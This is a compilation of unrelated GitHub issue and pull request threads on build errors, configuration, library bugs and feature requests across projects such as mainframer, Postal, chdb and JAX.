> SDK location not found. Define location with sdk.dir in the local.properties file or with an ANDROID_HOME environment variable.

When I now ssh into the remote machine and set the local.properties with
sdk.dir=/opt/android-sdk
it builds fine.

Please carefully read this section https://github.com/gojuno/mainframer/blob/development/docs/SETUP_REMOTE.md#environment
Hope that'll help! Feel free to comment/reopen.

I can't reopen.
My bashrc now looks like
[ph1b@ph1b ~]$ cat .bashrc
#
# ~/.bashrc
#

export ANDROID_HOME="/opt/android-sdk"

# If not running interactively, don't do anything
[[ $- != *i* ]] && return

But it's still the same. Do I overread something?

Are you sure you're not reusing old ssh connection?
On Mon, Apr 3, 2017, 22:54 Paul Woitaschek<EMAIL_ADDRESS>wrote:

I can't reopen.
My bashrc now looks like
[ph1b@ph1b ~]$ cat .bashrc

~/.bashrc

export ANDROID_HOME="/opt/android-sdk"
If not running interactively, don't do anything
[[ $- != i ]] && return
But it's still the same. Do I overread something?
—
You are receiving this because you modified the open/close state.
Reply to this email directly, view it on GitHub
https://github.com/gojuno/mainframer/issues/161#issuecomment-291254705,
or mute the thread
https://github.com/notifications/unsubscribe-auth/AA7B3OKmWHfjRHUxMhyZ7dsk3Pun5j51ks5rsU5cgaJpZM4Mpf2R
.

Yes I'm sure. Rebootet several times since then.

What OS is on your remote machine? We use Ubuntu Server 16.04.2 LTS on remote machine and solution from SETUP_REMOTE.
I also have machine with zsh as default shell and ~/.zshenv works for both interactive and non-interactive shells on it.

It's my Arch Linux desktop.

Then I'm not sure since I'll be my assumptions on googling, haven't use
Arch, if you'll find something — please post it here!
On Wed, Apr 19, 2017, 00:50 Paul Woitaschek<EMAIL_ADDRESS>wrote:

It's my Arch Linux desktop.
—
You are receiving this because you modified the open/close state.
Reply to this email directly, view it on GitHub
https://github.com/gojuno/mainframer/issues/161#issuecomment-294994332,
or mute the thread
https://github.com/notifications/unsubscribe-auth/AA7B3KV2MkFLEeOOLTHICo66PfILVk2hks5rxTAwgaJpZM4Mpf2R
.

I think that this issue and #177 are the same. And here is the reason: https://stackoverflow.com/questions/216202/why-does-an-ssh-remote-command-get-fewer-environment-variables-then-when-run-man
TLDR:
Neither ~/.bash_profile nor  ~/.bash_login nor  ~/.profile are read when using bash in non-interactive mode.


Remove N-th node from back of LinkedList

💥 Proposal
Greetings sir/Mam,
I would like to contribute the code for this issue in C++/CPP.
The code is ready. I have added the code , along with proper explanation of the algorithm , test cases , time complexity and space complexity of the same, as per the guidelines.
Kindly assign it to me.
This is regarding GSSOC'21.
Regards,
Hitain Kakkar

/assign


cannot load such file -- /opt/postal/app/lib/postal/version

Describe the bug
When trying to run postal update (or postal version), it fails with this error
postal@a2e543e648e0:~/app$ postal version
<internal:/usr/local/lib/ruby/3.2.0/rubygems/core_ext/kernel_require.rb>:37:in `require': cannot load such file -- /opt/postal/app/lib/postal/version (LoadError)
	from <internal:/usr/local/lib/ruby/3.2.0/rubygems/core_ext/kernel_require.rb>:37:in `require'
	from script/version.rb:4:in `<main>'
postal@a2e543e648e0:~/app$

This is reproducible on the official Docker image, as well as in my custom, alpine based image.
To Reproduce

Run the docker image with eg docker run --rm -it ghcr.io/postalserver/postal:3.3.3 postal version
See the error

Expected behaviour
Command should not fail (obviously :-) )
Environment details

Docker 26.1.1
Official Docker image
3.3.3

The issue started with 3.3.2. It's working in 3.3.1

Can confirm the same issue on running postal version.
<internal:/usr/local/lib/ruby/3.2.0/rubygems/core_ext/kernel_require.rb>:37:in require': cannot load such file -- /opt/postal/app/lib/postal/version (LoadError)
from internal:/usr/local/lib/ruby/3.2.0/rubygems/core_ext/kernel_require.rb:37:in require' 	from script/version.rb:4:in '`

Yes same issue

This is fixed in 3.3.4.


Multiple User Profiles

After messing around with the software for a few hours, it seems that once the software is downloaded to the system, it assigns a singular user to it. That means all convos and characters are tied to this one user, no matter who is signed into Google Colab at the time. I share my PC with my partner. He and I do not have the same chat preferences and it would get tiring to have to constantly change the name of the user as well as save the current conversation and start a new one (especially with the fact that there is currently no way to actually load in a previous conversation into the UI).

Just make a copy of the folder...

Yes, I figured that out after I had already posted. Not very intuitive but it gets the job done.

I understand that for some users the multiuser function would be useful. However, at the moment, the introduction of such a function is not planned. I understand that this decision may not align with your expectations and I apologize for any inconvenience this may cause.
As mentioned above, at the moment, the best solution is to use different folders, for different users.


[stable/mongodb] Expose metrics port on 'primary' svc

Signed-off-by: juan131<EMAIL_ADDRESS>What this PR does / why we need it:
We're exposing the 'metrics' port in the headless-svc.yaml where it's not necessary while we're not exposing it in the primary-svc.yaml. This PR addresses this issue.
Checklist

[x] DCO signed
[x] Chart Version bumped
[x] Title of the PR starts with chart name (e.g. [stable/chart])

/cc @tompizmor @carrodher


iOS: Firebase Messaging is calling onResume when sending a data only message.

Hi,
When the app is in the background, and I'm sending a data only message firebase_messaging is calling onResume callback, and when I resume/lunch the app it is not calling onMessage callback.
But when the app is in foreground, the onMessage is being called.
Is this the intended behavior? Because in the documentation it is saying that onMessage will be called when the app is brought back to foreground.
I'm using version 5.1.2
firebase_messaging: ^5.1.2

Here is my flutter doctor -v
[✓] Flutter (Channel unknown, v1.5.4-hotfix.2, on Mac OS X 10.14.5 18F132, locale en-US)
    • Flutter version 1.5.4-hotfix.2 at /Users/user/flutter
    • Framework revision 7a4c33425d (3 months ago), 2019-04-29 11:05:24 -0700
    • Engine revision 52c7a1e849
    • Dart version 2.3.0 (build 2.3.0-dev.0.5 a1668566e5)

[✓] Android toolchain - develop for Android devices (Android SDK version 28.0.3)
    • Android SDK at /Users/user/Library/Android/sdk
    • Android NDK location not configured (optional; useful for native profiling support)
    • Platform android-28, build-tools 28.0.3
    • ANDROID_HOME = /Users/user/Library/Android/sdk
    • Java binary at: /Applications/Android Studio.app/Contents/jre/jdk/Contents/Home/bin/java
    • Java version OpenJDK Runtime Environment (build 1.8.0_152-release-1343-b01)
    • All Android licenses accepted.

[✓] iOS toolchain - develop for iOS devices (Xcode 10.2.1)
    • Xcode at /Applications/Xcode.app/Contents/Developer
    • Xcode 10.2.1, Build version 10E1001
    • ios-deploy 1.9.4
    • CocoaPods version 1.6.1

[✓] Android Studio (version 3.4)
    • Android Studio at /Applications/Android Studio.app/Contents
    • Flutter plugin version 35.3.1
    • Dart plugin version 183.6270
    • Java version OpenJDK Runtime Environment (build 1.8.0_152-release-1343-b01)

[✓] VS Code (version 1.36.1)
    • VS Code at /Applications/Visual Studio Code.app/Contents
    • Flutter extension version 3.2.0

[✓] Connected device (1 available)
    • iPhone X • 56d892926311016cda2e3bd9680d2cb54566a943 • ios • iOS 12.3.1

@arsen Is the issue still relevant? Can you please check it using current stable flutter version v1.9.1+hotfix.2 and firebase_messaging 5.1.6?

@arsen
This issue has been moved to https://github.com/FirebaseExtended/flutterfire/issues/1053. Any further collaboration will be done there.


Document the code formatting requirements

Most recent pull requests failed at some point the continuous integration checks because of clang-format. As the code formatting requirements are not documented, and the clang-format tool is very picky, the experience can be frustrating for new contributors.
This pull request documents these requirements in the README file, and gives the recipe for easily ensuring conformance.
I am not entirely convinced that the README is the right place for this.  The guidelines for new contributors are currently split between three files:

The “Contributing” section of README.md:

welcomes contributions
references the code of conduct
states the documentation requirements (Doxygen)
may state the formatting requirements if this PR is accepted

The code of conduct focuses on social behavior
The pull request template:

explains what the “cover letter” of the pull request should describe
asks to run tests

Although I believe this pull request is a reasonable interim solution, a better long-term approach may be to consolidate all these guidelines into a single CONTRIBUTING.md file. This file may also have a word about submitting issues and about the pull request process. It may be shared across projects if it is generic enough. The README and the pull request template would then reference this file, maybe including a very short summary.
Any thoughts?

Good idea, since clang-format has been added we've had a lot of PRs that add 3-4 commits to fix formatting. It'd be good to mention something in the PR template, that's the most likely place people would see it. This might be an adafruit-wide change since all of the libraries are moving to (or already have moved to) actions, I'll defer to @ladyada on the readme section vs. separate file but will merge this in the meantime.

yep thanks, it adds an extra step but avoids oddly-formatted PRs and also we've noticed many editors auto-clang which would create huge whitespace-only commits. now we dont get those anymore.


[Collector] Crash down by OutOfMemoryError exception.

Please answer these questions before submitting your issue.

Why do you submit this issue?
[ ] Question or discussion
[X] Bug
[ ] Requirement
[ ] Feature or performance improvement

Bug

What happen?
If possible, provide a way for reproducing the error. e.g. demo application, component version.

Aggregate workers and persistence workers own two cache collections. One of the their use to cache the data merged by streaming data. The other one is waiting to export aggregated when persistence timer scanning. But if persistence speed can not catch streaming speed, the cache collection's size will increased too large. Collector will crash down when all the workers cached huge data.

Solution: Block the workers which cache collection's size exceed the setting.
Add a configuration item:
configuration:
  default:
      workerCacheSizeThreshold: 10000

@peng-yongsheng My suggestion, you should be care of the gRPC buffer too. And do you confirm you want to do this in beta2?

gRPC will blocked cause by the workers blocked which gRPC invoked.

gRPC will blocked cause by the workers blocked which gRPC invoked.

Agent has a time out mechanism. If you are going to block at server side, we need to review the mechanism again. The server side safe may trigger agent out of memory. That will be a bigger issue/concern for end users.

Fixed.


Possible "duplicate struct iovec" fix

This pull request fixes an issue I raised where compilation of tcmu-runner under a 4.13 kernel leads to a compilation error message stating that "struct iovec" is multiply defined:
> [   88s] /usr/bin/cc -Dtcmu_static_EXPORTS -I/usr/include/libnl3 -I/usr/include/gio-unix-2.0 -I/usr/include/glib-2.0 -I/usr/lib64/glib-2.0/include  -fmessage-length=0 -grecord-gcc-switches -O2 -Wall -D_FORTIFY_SOURCE=2 -fstack-protector-strong -funwind-tables -fasynchronous-unwind-tables -g -DNDEBUG -Wall -std=c99 -O2 -g -DNDEBUG -fPIC   -o CMakeFiles/tcmu_static.dir/libtcmu-register.c.o   -c /home/abuild/rpmbuild/BUILD/tcmu-runner-1.2.0/libtcmu-register.c
> [   88s] In file included from /usr/include/linux/target_core_user.h:7:0,
> [   88s]                  from /home/abuild/rpmbuild/BUILD/tcmu-runner-1.2.0/libtcmu.c:31:
> [   88s] /usr/include/linux/uio.h:16:8: error: redefinition of 'struct iovec'
> [   88s]  struct iovec
> [   88s]         ^~~~~
> [   88s] In file included from /usr/include/bits/fcntl-linux.h:38:0,
> [   88s]                  from /usr/include/bits/fcntl.h:61,
> [   88s]                  from /usr/include/fcntl.h:35,
> [   88s]                  from /home/abuild/rpmbuild/BUILD/tcmu-runner-1.2.0/libtcmu.c:20:
> [   88s] /usr/include/bits/types/struct_iovec.h:26:8: note: originally defined here
> [   88s]  struct iovec
> [   88s]         ^~~~~
> [   88s] make[2]: *** [CMakeFiles/tcmu_static.dir/build.make:97: CMakeFiles/tcmu_static.dir/libtcmu.c.o] Error 1

Please consider this fix, or comment on it if it's the wrong approach or would cause any functional change.

Thanks for fixing this.
This patches causes a regression on RHEL 7.x setups.

In file included from /home/mnc/kernel/target/lio/test/tcmu-runner/libtcmu.c:35:0:
/home/mnc/kernel/target/lio/test/tcmu-runner/target_core_user_local.h:114:17: error: array type has incomplete element type
struct iovec iov[0];
^

but at first glance, it looks like it should work. I will try to do some more debugging this week.

Hi Mike: Yes, that looks like "struct iovec" is not getting defined.
Honestly, the "right" way to fix this IMHO is the upstream patch, which avoids defining "struct iovec" twice. Kind of a no-brainer. Even with that patch, though, for SLE I had to add one more "include" to target_core_user_local.h to make sure iovec was defined. But the include of "uio.h" should define iovec. Let me know what you find. I've merge in the upstream fix for SLE for now.

Hi Mike: I have found what I believe is a better solution, in that it addresses the "duplicate struct iovec" issue on newer kernels as well as ones that are not new. So I'm closing this pull request. I'll open a new one shortly.


[Feature Request]: Warn or except when you try to create more than one persistent or ephemeral client

Describe the problem
Users get confused because they encounter undefined behavior when creating more than one client in a given process. We warn against this in our docs, but we don't actually prevent them from doing this.
An example (from LangChain): https://github.com/langchain-ai/langchain/issues/11665
Describe the proposed solution

Throw an exception if someone tries to create more than one local (persisted, ephemeral) client. The message should point them at what they should do instead. (most likely, creating a separate collection, or persisting somewhere else)

Update our docs to reflect the new behavior.

This could be achieved via singleton variables.
Alternatives considered
No response
Importance
would make my life easier
Additional Information
No response

Places to start might be the functions creating the persistent and ephemeral clients:
https://github.com/chroma-core/chroma/blob/c0e307e33fa95766d7157be555cdddd7c9962228/chromadb/__init__.py#L103
https://github.com/chroma-core/chroma/blob/c0e307e33fa95766d7157be555cdddd7c9962228/chromadb/__init__.py#L93

Perfect, I will have a look!

Hey @HammadB, is this still needed? I seems that your PR https://github.com/chroma-core/chroma/pull/1244 actually solves the problem at its root. Should we close this issue?

Closed in favor of #1244 !


fix-issue-enum-paging (#5172)

Pull request opened by the merge tool on behalf of #5172

Merged into branches iso5 in 3c5b3a2c2ca4aab9af86cf0fef31d11c19be4769


updates build libcurl dependency from libcurl3 to libcurl4

Can one of the admins verify this patch?

@urbanserj  request for review


metamath-knife fails to compile

See failed run here: https://github.com/BTernaryTau/metamath-knife/actions/runs/10150629504
error[E0282]: type annotations needed for `Box<_>`
Error:   --> /home/runner/.cargo/registry/src/index.crates.io-6f17d22bba15001f/time-0.3.21/src/format_description/parse/mod.rs:83:9
   |
83 |     let items = format_items
   |         ^^^^^
...
86 |     Ok(items.into())
   |              ---- type must be known at this point
   |
help: consider giving `items` an explicit type, where the placeholders `_` are specified
   |
83 |     let items: Box<_> = format_items
   |              ++++++++

For more information about this error, try `rustc --explain E0282`.
error: could not compile `time` (lib) due to 1 previous error
warning: build failed, waiting for other jobs to finish...
Error: Process completed with exit code 101.

This looks to be the same issue as https://users.rust-lang.org/t/time-crate-compilation-error/111789.

It looks like it is the same as this issue:
https://users.rust-lang.org/t/time-crate-compilation-error/111789


Updated Doom 64 controls.

Update to the left stick.

If you're seeing this line then it's still not correct

It should be fine now


Deprecation Warnings With PyPDF2 2.11.1

Describe the issue
I have no idea what the schedule for PyPDF 3.0.0 is, but it would probably be a good idea to address these sooner rather than later:
../usr/lib/python3/dist-packages/xml2rfc/walkpdf.py:66: PendingDeprecationWarning: PdfFileReader is deprecated and will be removed in PyPDF2 3.0.0. Use PdfReader instead.
  reader = pypdf2.PdfFileReader(pdffile, strict=False)
/usr/lib/python3/dist-packages/xml2rfc/walkpdf.py:67: PendingDeprecationWarning: getDocumentInfo is deprecated and will be removed in PyPDF2 3.0.0. Use metadata instead.
  info = reader.getDocumentInfo()
/usr/lib/python3/dist-packages/xml2rfc/walkpdf.py:74: PendingDeprecationWarning: reader.getNumPages is deprecated and will be removed in PyPDF2 3.0.0. Use len(reader.pages) instead.
  for num in range(reader.getNumPages()):
/usr/lib/python3/dist-packages/xml2rfc/walkpdf.py:75: PendingDeprecationWarning: reader.getPage(pageNumber) is deprecated and will be removed in PyPDF2 3.0.0. Use reader.pages[pageNumber] instead.
  page = reader.getPage(num)
/usr/lib/python3/dist-packages/xml2rfc/walkpdf.py:76: PendingDeprecationWarning: getObject is deprecated and will be removed in PyPDF2 3.0.0. Use get_object instead.
  obj = page.getObject()
/usr/lib/python3/dist-packages/xml2rfc/walkpdf.py:44: PendingDeprecationWarning: getObject is deprecated and will be removed in PyPDF2 3.0.0. Use get_object instead.
  d, i = walk(obj.getObject(), seen)
/usr/lib/python3/dist-packages/xml2rfc/walkpdf.py:25: PendingDeprecationWarning: extractText is deprecated and will be removed in PyPDF2 3.0.0. Use extract_text instead.
  dobj['text'] = obj.extractText()

Code of Conduct

[X] I agree to follow the IETF's Code of Conduct

@kesara @kitterma You might want to move from PyPDF2 to pypdf. I'm the maintainer of both projects and I want to migrate the community to pypdf.
PyPDF2==3.0.0 will be the last PyPDF2 version. pypdf==3.1.0 is essentially the same, just the package name (the imports) is different

Thanks for the update @MartinThoma. This will be done in the next release.


Update Roboto used in demos

Expected Behavior
The demos (eg https://opentype.js.org/font-inspector.html) use the latest and greatest version of Roboto
Current Behavior
The demo's version is from 2011 :(
Possible Solution
Update the file

New version was merged in master with https://github.com/nodebox/opentype.js/commit/964a82b41f05ac275be785b689fceb856de28ac1


Add support for resource-id

Summary
Track react tag using android.view.View.tag.  Allow developers to set resource id by setting component.testID
Fixes #9777
Test Plan
First, you need to declare the resource id by creating /your_android_studio_folder/res/values/ids.xml
<?xml version="1.0" encoding="utf-8"?>
<resources>
    <item type="id" name="test_id"/>
</resources>

Second.  Optionally, you can expose the resource id names so we can access them in our JSX code.  Or you can just hard code a list of resource id names.
public class ConstantsModule extends BaseJavaModule {
  @Override
  public String getName() {
    return REACT_NAME;
  }

  @Override
  public Map<String, Object> getConstants() {
    return // return the map with resource ids here.
  }
}

Third, set the testID of your component to the name of a resource id.
<Button
    onPress={onButtonPress}
    title="Press Me"
    testID='test_id'
    />

Forth, run the app and observe the resource id using UIAutomator viewer (/Android/sdk/tools/bin/uiautomatorviewer)

Related PRs
This PR doesn't require a documentation change.
Changelog
[ANDROID] [Fixes] - BaseViewManager: Allow developers to set resource id by setting component.testID

any plans to continue with that?

hi
whats the status of this feature?

@lightboys22 any news on that?

Is there any progress on this? Would help a lot with bot testing 🎉

Sorry, I won’t be working on this. You can trying using the Espresso JavaScript framework to find view based on tags, (which is the testID）

Waht happen with this PR?... why everithing is complicated in RN?

Are you trying to write an unit test? If so, you can try using Expresso
On Mon, Mar 16, 2020 at 7:29 AM LuisBonsembiante<EMAIL_ADDRESS>wrote:

Waht happen with this PR?... why everithing is complicated in RN?
—
You are receiving this because you modified the open/close state.
Reply to this email directly, view it on GitHub
https://github.com/facebook/react-native/pull/18527#issuecomment-599567831,
or unsubscribe
https://github.com/notifications/unsubscribe-auth/ABCSEXTCY57IWBUMAZZ54PTRHYZVNANCNFSM4EXFBCQA
.

@lightboys22  ...It is for robo test... so I need a resource-id....


Add ability to change server settings via environment variables

Because the setting files sit directly in the Minecraft directory it isn't easy to mount them at run time. Instead we need to add the ability to pass in environment variables which will over-ride the settings.
Things to look at:

JQ - https://stedolan.github.io/jq/

After some thought I've changed my mind. Updating the files on the fly with the environment variables could lead to issues.
Instead, I am going to move the config to a separate location, and use symbolic links to put them in the minecraft directory. Makes it easier for the files to be edited and backed up

Change merged to develop


fixes #1280

Fixes issue #1280

Description

Related Issue

Motivation and Context

How Has This Been Tested?

Types of changes

[ ] Bug fix (non-breaking change which fixes an issue)
[ ] New feature (non-breaking change which adds functionality)
[ ] Breaking change (fix or feature that would cause existing functionality to change)
[X] Trivial change (affects only documentation or cleanup)

Checklist:

[ ] I have tested this change with a run of GEOSgcm (if non-trivial)
[ ] I have added one of the required labels (0 diff, 0 diff trivial, 0 diff structural, non 0-diff)
[ ] I have updated the CHANGELOG.md accordingly following the style of Keep a Changelog

@bena-nasa Are you sure we want to merge into 'release/MAPL-v3' branch?

Forgot to update changelog, pushed that, @tclune might need to reapprove


The results are so poor that can even be said to make wild predictions!

Hi,Can you answer my questions?I don't know what went wrong. I wrote the extraction program corresponding to my backbone according to the eval_store file you gave. The trajectory extraction was correct, and the embs extraction was OK, but it was difficult to predict that the loss would stop at the 8th round, and the final result was a random prediction. Or even a thousand times that of backbone? What might be the problem?I'm really confused!
The backbone network metrics are as follows：

But the optimized metrics:

I would be very grateful if you could give me some advice and inspiration!

Hi, thanks for your interest for checking our method with other model.
I would suggest you to check 3 things.

the embedding is the multi-modal final embedding for your decoder and the shape is [F, N, H] per data where F is modality, N is the number of vehicles of the data and H is your hidden dimension.
for trajectory, you need to transform it to global coordinate then store it. The shape is [F, N, T, 2] per data where T is the trajectory length. To make sure data is ok, you can check some data with the error between your stored trajectory and those in the given p1_data (the trajectory comes from HiVT model so they must be small if correct). Also, when doing evaluation, check if the output trajectory and gt trajectory are in the same coordinate system.
If all data is ok, try training with small lr to see whether it's model output error in early iterations or inappropriate optimization.

I noticed that my trajectories in backbone are real world coordinates, but the trajectories in p1_data are not real world coordinates. Is that why the results are so bad? How to fix it?
my backbone output:

p1_data output:

What exactly does each agent's own coordinate mean?Before switching to av coordinate system, the agent was originally in the global coordinate system. Do you mean to save the trajectory in av local coordinate system?

don't use av coordinate. Each car can have its own local coordinate. Normally, there are only two coordinate systems: global and local. HiVT uses av as an intermediate coordinate system and transformation acts as global to av, then av to local.

Hello, it took me so many days to get back to you due to the high time cost of the code.
The model I optimized using our approach, backbone itself, has two stages: prediction followed by refinement. The features at the first prediction are embedded as m_embs, then m_embs is decoded to generate trajectory traj, and then a series of operations are carried out to refine the generated features into n_embs, and n_embs is decoded to generate trajectory refinement traj_refine.The output of the final trajectory is traj+refine.
So I did the following:
1、 Save the refined trajectory and n_embs and refine them using our method, and the result is as follows:

2、Save the unrefined trajectory and m_embs and refine them using our method, and the result is as follows:

3、 the refined trajectory is saved, the feature embeddings are added by weight and a (m_embs) +(1-a)(n_embs), and then refined using our method, the result is as follows.

All three methods obtain bad results, even all of them are degraded in accuracy. Our method is supposed to be universal, and the effect of using it is to increase accuracy, but now it has decreased accuracy. How to solve this problem? How can I improve the accuracy of my backbone with our approach?This is my backbonehttps://github.com/XiaolongTang23/HPNet/blob/main/HPNet-Argoverse/modules/backbone.py

The results seemed weird. I suggest you try 3 things:

compare your stored trajectories with our p1 data to see if there is a mismatch, then compare it to your data's ground truth, to see the initial metric.
try to reduce the refine number to 1 for training and see how the error changes.
if possible, try the backbone's refinement (like the corresponding model architecture and data) in a multiple-iteration way and see if the results can be further improved by refinement. This repo is based on HiVT(cvpr 22) and it may be less effective than HPNet(cvpr 24).

Is the origin of the agent coordinate the last frame of the history trajectory?

Ade before using our method is 0.647, ade after using our refinement method is 0.655, and other indicators are also reduced by about 0.01. I tried no ref +ours and backbone+ours, and the indicators are all reduced by about 0.02. Different embedding ratios were also tried. I extracted the features as follows：

where K is modality, N is the number of vehicles of the data and D is hidden dimension, H is number of historical steps,F is number of future steps.Is there anything wrong with my embs? If embs is OK what parameters should I try to change if I want to improve accuracy? Such as lr, local radius?I think our refinement method is awesome, and I really want to apply it to the algorithm, looking forward to your answer.

If I want my p1data to be stored in a global coordinate system, how do I need to change the code? (Because I found it cumbersome to change my code to the agent coordinate system for the last frame of the historystep)


"UseActionButtonOnUnit" not a valid objective on "Withered Wrangling: Meredil and Ambervale" in suramar

I commented the quest on last commit

I think Vesper wanted to add support in the next update.

https://github.com/TheNoobCompany/WorldQuestTNB/commit/982d9317b9fddd16eaed4d7b4bf9a1cf1611ba26

Updated in 6.2.7+

Great! Thanks


Fix: Add missing parenthesis

If swcLoaderOptions was defined, options was getting set to undefined. This fixes that.

Thanks

Bump 0.0.3


is gulp support cluster      let it more faster (gulp 怎么能支持多进程)

one process source is limit  （异步并发在单进程中受资源的限制同样比较慢）

You can use the cluster module in your gulpfile, as it is just JavaScript.  There are no plans for core to fork the process.

duplicate of https://github.com/gulpjs/gulp/issues/317


Destroying fails trying to delete default worker pool

Affected modules
ocp_base

Terraform CLI and Terraform provider versions

Terraform version:
Provider version:
Terraform v1.6.6
on darwin_arm64

provider registry.terraform.io/hashicorp/external v2.3.4
provider registry.terraform.io/hashicorp/helm v2.16.1
provider registry.terraform.io/hashicorp/kubernetes v2.33.0
provider registry.terraform.io/hashicorp/null v3.2.3
provider registry.terraform.io/hashicorp/random v3.6.3
provider registry.terraform.io/hashicorp/time v0.12.1
provider registry.terraform.io/ibm-cloud/ibm v1.71.2

Your version of Terraform is out of date! The latest version
is 1.9.8. You can update by downloading from https://www.terraform.io/downloads.html
Terraform output

Error: Request failed with status code: 400, ServerErrorResponse: {"incidentID":"ab8e2bd5-5076-4162-b2c8-a0b08edef6dd,ab8e2bd5-5076-4162-b2c8-a0b08edef6dd","code":"E1437","description":"The action cannot be completed because it would reduce the worker pool's size below the cluster's minimum requirement of 2 workers. If there are any worker operations pending, you might need wait for them to complete.","type":"BadRequest"}

Expected behavior
Not sure this is possible with the way the terraform code is structured. The default (and other) worker pools are separate items. Creating the cluster that way seems to work, but when you delete worker pools you cannot leave the cluster without at least 2 workers. This causes the delete to fail.
Actual behavior
Would like to be able to destroy the resources the module creates.
Steps to reproduce (including links and screen captures)
Create a cluster using the module with 2 worker pools, one default and another one. Then destroy the created resources. The destroy will fail.

Run terraform apply

Anything else

By submitting this issue, you agree to follow our Code of Conduct

@darrellschrag We have been working with several people from the IKS side on this. We have a workaround documented in the module which is all we can do until further improvements are made on the backend side. Please see https://github.com/terraform-ibm-modules/terraform-ibm-base-ocp-vpc?tab=readme-ov-file#default-worker-pool-management
I'm going to close this issue, but if needed reach out internally for more info on future plans


how to install aurora

Is there any document,how to install aurora

Thanks for your issue. You can download Precompiled binaries for supported operating systems. Extract the zip file after download and double-click to run. If you have any questions or concerns, please let me know by replying to this issue.

@jackerzhou Thanks for your issue. You can download Precompiled binaries for supported operating systems. Extract the zip file after download and double-click to run. If you have any questions or concerns, please let me know by replying to this issue.


Add support for LogicBone board

Based on the platform file by Owen Kirby: https://github.com/oskirby/logicbone-tests/blob/b8254bc7a177077abc939152cf0f3d3648f6a925/nmigen/logicbone_platform.py
Also based on the platform file by Katherine Temkin: https://github.com/greatscottgadgets/luna/blob/08b035c9c2b053d7edffb0d220d948b5c2ca927e/luna/gateware/platform/logicbone.py

Thank you!


Make Lodash a full dependency

With Lodash declared as a peer dependency, it's impossible to use this plugin in projects that still use an older version of Lodash.  npm and yarn will complain about the peer version mismatch but will still use the hoisted lodash module rather than pulling in an up-to-date one for eslint-plugin-lodash.  Making this into a normal dependency should fix this, and is more accurate anyway.

This change is

Pull Request Test Coverage Report for Build 525

0 of 0   changed or added relevant lines in 0 files are covered.
No unchanged relevant lines lost coverage.
Overall coverage remained the same at 100.0%

Totals

Change from base Build 489:
0.0%

Covered Lines:
999

Relevant Lines:
999

💛  - Coveralls


Multi-node distributed training

Hello,
In description it is stated that Horizon supports distributed training. Are there any example for multi-node distributed training?

Yes, I am adding distributed training to open source here: #113

@MisterTea , great, thanks!

Done!


large chunks of memory

I would like to ask if it is inefficient to handle large chunks of memory

I need more information. What exactly is the problem you're having?


create-datavolume task: reimplement in go

add early detection of failed datavolume imports

/remove-lifecycle stale

/lifecycle frozen

Fixed by https://github.com/kubevirt/kubevirt-tekton-tasks/pull/161

Closing, as the PR was already merged. Thanks Felix!


Need example of how to create an object_message

Trying to emit a very simple message with equivalent of JSON {"transcription": true}
current code:
sio::message::ptr pMsg = object_message::create();
pMsg->insert("transcription", true);

error:
asapp_glue.cpp:37:9: error: 'class sio::message' has no member named 'insert'
   pMsg->insert("transcription", true);

I'm confused because sio::object_message does have an insert method (though none taking a rhs value of bool, which seems an oversight).
The examples have zero examples of creating a JSON message, so they are unhelpful.
What am I doing wrong?

found an example in tests.  Now doing
sio::message::ptr joinObj = sio::object_message::create();
joinObj->get_map()["transcription"] = sio::bool_message::create(true);


When no DB used we get: Code: 57. DB::Exception: Directory for table data data/default/testtable/ already exists. (TABLE_ALREADY_EXISTS)

I noticed that in the following conditions I get when I run the example script for second time:
Code: 57. DB::Exception: Directory for table data data/default/testtable/ already exists. (TABLE_ALREADY_EXISTS)

Repro:
const { query, Session } = require("chdb");

var ret;

// Test standalone query
ret = query("SELECT version(), 'Hello chDB', chdb()", "CSV");
console.log("Standalone Query Result:", ret);

// Test session query
// Create a new session instance
const session = new Session("./dir_for_table_already_exists");

session.query("CREATE TABLE IF NOT EXISTS testtable (id UInt32) ENGINE = MergeTree() ORDER BY id;");

I usually create a new DB and use the new DB but not everyone would be doing the same and could reach the same problem.
System info:
Apple M2 Pro
macOS 14.5 (23F79)
Node v20.9.0
  "dependencies": {
    "chdb": "^1.2.1"
  },

This is because new Session("./dir_for_table_already_exists") create session in the same dir.
After create the new table testtable you didn't call session.cleanup().
So, the second time you use the same dir as the session dir. testtable already exists.
You can also avoid this by new Session() which will create the session in random tmp dir.

I see @auxten
My intention is to have the inserted created tables & data available between sessions but I think that session.cleanup() will wipe out all the data:
  // Cleanup method to delete the temporary directory
  cleanup() {
    rmSync(this.path, { recursive: true }); // Replaced rmdirSync with rmSync
  }

I suppose that my use case is a bit different ... probably the usual CHDB user often starts CHDB, queries directly some data structure (CSV, JSON ...) or inserts data in CHDB that is not required when a new session get's started.

Thanks, I understand. Currently, chDB session implementation is a little tricky.
Like I explained here: https://github.com/orgs/chdb-io/discussions/196#discussioncomment-8406116
Here is the plan: https://github.com/chdb-io/chdb/issues/197#issuecomment-2327976725


Hive scripts in a public storage account for ADF to pull down

This could come back, but right now the plan is to NOT use ADF. I'm closing this issue


Refactoring of feat/on branche

Since the first argument of Router<T>#add is expected to be uppercase, and existing code will not work correctly if lowercase is passed, I thought toUpperCase was unnecessary.
In StaticRouter, when adding a new method, the middleware in METHOD_ALL must be copied.

@usualoma
Thank you!! I'll merge it later.


Defer to unrecognized types in arithmetic

This is useful for building higher level array libraries around JAX, because it
makes it possible to override operations like jax_array + other.
I think I covered all the array types that JAX should be able to handle:

Python builtin numbers int, float and complex
NumPy scalars and arrays
JAX array types and tracers

Did I miss anything? Maybe bfloat16 scalars?

Do you have a use case for this right now?
Since we're already monkey-patching objects here, it occurs to me that _defer_to_unrecognized_arg could live in the downstream higher level array library itself. How should we think about the tradeoffs here? If this feature is only ever used in one downstream library, would it make sense to keep this logic in that library, rather than in JAX? Do we have a sense for how often this feature may be needed (e.g. from experience with other libraries in the NumPy ecosystem)?

Do you have a use case for this right now?

Yes :)
We wrote a little custom array object that adds metadata to JAX arrays. Currently, operations like custom_array + jax_array work fine, but not jax_array + custom_array.

Since we're already monkey-patching objects here, it occurs to me that _defer_to_unrecognized_arg could live in the downstream higher level array library itself. How should we think about the tradeoffs here? If this feature is only ever used in one downstream library, would it make sense to keep this logic in that library, rather than in JAX?

I don't think we could easily put this into a downstream library, unless we want to encourage downstream libraries monkey-patching JAX (which could lead to conflicts).

Do we have a sense for how often this feature may be needed (e.g. from experience with other libraries in the NumPy ecosystem)?

Basically every use-case for NumPy duck arrays or subclasses needs to override arithmetic like this. Example use cases from NumPy that could also make sense for JAX:

dataframe libraries, like pandas
arrays with units, like pint
arrays with builtin uncertainty
arrays with labeled dimensions, like xarray
domain specific libraries that override arithmetic on special objects, like Qutip (quantum physics) or Iris (climate data)

